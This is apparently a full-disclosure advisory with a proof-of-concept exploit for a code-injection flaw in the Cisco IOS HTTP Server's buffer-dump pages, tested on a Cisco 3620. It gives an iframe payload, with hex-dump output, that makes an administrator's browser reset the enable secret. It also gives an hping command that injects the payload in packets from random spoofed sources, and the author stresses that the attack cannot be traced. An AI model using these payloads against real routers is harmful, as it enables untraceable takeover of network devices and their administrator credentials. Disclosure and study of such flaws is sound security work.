- Cisco IOS HTTP Server code injection vulnerability-
It has been identified a vulnerability in the Cisco IOS Web Server. An attacker can inject
arbitrary code in some of the dynamically generated web pages. To succesfully exploit the vulnerability
the attacker only needs to know the IP of the Cisco. THERE'S NO NEED TO HAVE ACCESS TO THE
WEB SERVER! Once the code has been injected, attacker must wait until the admin browses some of the
affected web pages.
The Cisco HTTP Server is used to manage cisco routers via web browser. It's not an usual
way of management, and as far I know, it is not enabled by default, but still there could be people
doing management and/or monitoring tasks via HTTP protocol.
In cisco own words:
"The HTTP server was introduced in IOS release 11.0 to extend router management to the worldwide web."
The vulnerability found has been identified on CISCO 3620 with IOS 12.0(2a). No other Cisco routers
have been tested... try on your own device and have fun!
That is the output of the "show version" command on my Cisco.
Cisco Internetwork Operating System Software
IOS (tm) 3600 Software (C3620-IS-M), Version 12.0(2a), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1999 by cisco Systems, Inc.
Compiled Sat 02-Jan-99 08:33 by phanguye
Image text-base: 0x600088E0, data-base: 0x608D0000
ROM: System Bootstrap, Version 11.1(20)AA2, EARLY DEPLOYMENT RELEASE
Cisco uptime is 26 minutes
System restarted by power-on
System image file is "flash:c3620-is-mz_120-2a.bin"
cisco 3620 (R4700) processor (revision 0x81) with 24576K/8192K bytes
There is a URL in the IOS Web Server:
where administrators can view the content of memory buffers. There are many options, but we are
"all" --> all buffers
"assigned" --> Buffers in use
Following those links will show you those options:
"dump" --> Show buffer header and all data
"header" --> Show buffer headder only
"packet" --> Show buffer header and packet data
The "dump" and "packet" options are clearly affected by the code injection. In my P.o.C. exploit I will
focus on the "dump" option. The "packet" option can be exploited in a similar way.
So, let us explain this flaw a little bit more. The next link:
will dump in an HTML formatted page the content of the buffer header and all the data of the
assigned memory buffers... If you telnet to the cisco router and just after you make an HTTP request to the
URL showed above, you will see all the data you sent via telnet socket,... and you will see, of course,
the password you entered at the login prompt... So, what will happen if an attacker exploits this field to
inject code? The code will be dumped in the HTML page... and if there's NO sanity check, then code
will be executed in the client side context. That is, an usual code injection, similar to XSS.
The first problem I had, was how to exploit this to really take profit on a common scenario. Cisco Web Server
doesn't make use of session cookies, instead Basic HTTP authentication is used... Is not impossible to exploit
it, but we should use XMLhttp library and nowadays many browsers doesn't allow to do what could be done some
years ago... But there's still some chances, for example, iframe tags. Injecting HTML iframe tags we can force
the victim to make "GET" request... ummm, it seems that Cisco Web forms are sending data via "POST" method...
Fortunately, many (all?) requests can be done also via GET method, so, a request like this:
will change the ENABLE password to "mypassword"... :-)
That's our first shot trying to inject code, via standard Cisco telnet prompt (on routers where "Username" is
required, the exploitation can be done in the same way).
User Acess Verification
Password: mycodemycodemycodemycodemycodemycodemycodemycodemycodemycodemycodemycodemycodemycode (etc,...)
Then we go to the "/level/15/exec/-/buffers/assigned/dump" page, and looking at the source code:
we can check that there's a litle problem: the injected code is broken due to the format of the
dumped page. Our code (mycodemycodemycodemycodemycodemycodemycode etc,...) now looks like this:
"mycodemycode 018033D0: 6D79636F 64656D79 636F6465 6D79636F mycodemycodemyco 018033E0: 64656D79
636F6465 6D79636F 64656D79 demycodemycodemy 018033F0: 636F6465 6D79636F 64656D79 636F6465
codemycodemycode 01803400: 6D79636F 64656D79 636F6465 6D79636F mycodemycodemyco01803410:
64656D79 636F6465 6D79636F 64656D79 demycodemycodemy"
OK. Fortunately for us, the code is always in the same position, so we can know "where" the code
will be broken, and thus making easier to build an injected code that can bypass that restriction.
Let us try with a real code. We want to inject this:
This code, once injected and executed by the browser should make an HTTP request to the Cisco and change
the "enable" password to "ih"...
The dump will be something like this:
XXXXXXXX: XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX ....<iframe src=
XXXXXXXX: XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX "../../../../con
XXXXXXXX: XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX figure/enable/se
XXXXXXXX: XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX cret/ih"........
The HTML as viewed by the browser will be:
<iframe src= XXXXXXXX: XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX "../../../../con XXXXXXXX: XXXXXXXX
XXXXXXXX XXXXXXXX XXXXXXXX figure/enable/se XXXXXXXX: XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX cret/ih"
Of course, this shit will not work :-(
So let's trick the code a litle (just a litle...). After playing around a bit with HTML I found a suitable way to
make it work. Our injected code could be like this:
You can do it by hand via telnet:
And then the resulting dump will be something like this:
01804400: 5D040000 3C696672 616D6520 20202020 ]...<iframe
01804410: 7372633D 222E2F2E 2E2F2E2E 2F2E2E2F src="./../../../
01804420: 2F2E2E2F 2E2E2F2E 2E2F2E2E 2F2E2E2F /../../../../../
01804430: 2F2E2E2F 636F6E66 69677572 652F2F2F /../configure///
01804440: 2F2E2E2F 656E6162 6C652F2E 2F2E2F2F /../enable/././/
01804450: 2F2E2E2F 73656372 65742F69 68220A21 /../secret/ih".!
And the HTML code will be:
<iframe 01804410: 7372633D 222E2F2E 2E2F2E2E 2F2E2E2F src="./../../../ 01804420:
2F2E2E2F 2E2E2F2E 2E2F2E2E 2F2E2E2F /../../../../../ 01804430: 2F2E2E2F 636F6E66
69677572 652F2F2F /../configure/// 01804440: 2F2E2E2F 656E6162 6C652F2E 2F2E2F2F
/../enable/./.// 01804450: 2F2E2E2F 73656372 65742F69 68220A21 /../secret/ih"
wich will "magically" work... OK, not magically :-) but, i think it's due to the syntax of the "iframe"
tag that will ignore "01804410: 7372633D 222E2F2E 2E2F2E2E 2F2E2E2F" as parameters of the "iframe" that
the browser do not understand, but then it comes "src=" and all the URL is between quotation marks,
so the browser will read it in one shot. What about the strange code that brokes the URL...? No problem :-)
If you take a look on how the URL is built, you will notice that after any "offending" string you can find one
or more "/../". That is to avoid having the URL broken by the Web Server due to a non existant directory.
So summarizing, we can reference any resource, just because:
is the same as:
And this makes me think the next: should web servers allow URL's that contains non existant
directories...? I'm not a coder, and I've never coded a web server, so I can't answer that question, maybe
some one can help me on this topic...
Here you have a snapshot of what would see the victim in the browser once the exploit has been launched:
Now that we know how to inject code via telnet prompt, some body could think: "I do no allow access to the telnet
server of my Cisco from the Internet...".
Ummm... yes, so let's play a bit more (I still have a cold beer and I have a litle time before my girlfriend
starts claiming some resources for herself...)
We have talked about dumps of memory... so why botter about opening a socket (via telnet, for example)... as far I
know, almost any operating system should store in memory (more or less time) any packet with destination it's IP address
.... ANY? So if we ping the cisco? We will see the ICMP echo request in some of the buffers? Yes, we will see it.
Probably, (*almost) any packet with destination the Cisco or going THROUGH the Cisco will be stored in memory
(for a litle time at least). This makes me think about a lot of possililities... And, the last question: should the
packet have a valid source address? Emmmm,... hei Beavies...what do you think about it? :-))
So let's try this:
hping -2 --rand-source -s 53 -p 53 -d 100 -E payload.txt <Cisco_IP>
Where "payload.txt" contains:
On my Cisco 3620, this works very fine.
*Notice: The IOS does some kind of sanity check on the format of the packet, so be careful that "-d" option
of hping2... it must fit the payload size.
At the end, bad news are that the IOS Web Server could be a field of mines..., and the worst is
that the attacker can exploit this with ramdom spoofed IP's...
You can't stop the attack and you can't track the attacker...
Of course, if your Cisco do not have IOS HTTP Server, you can forget this advisory.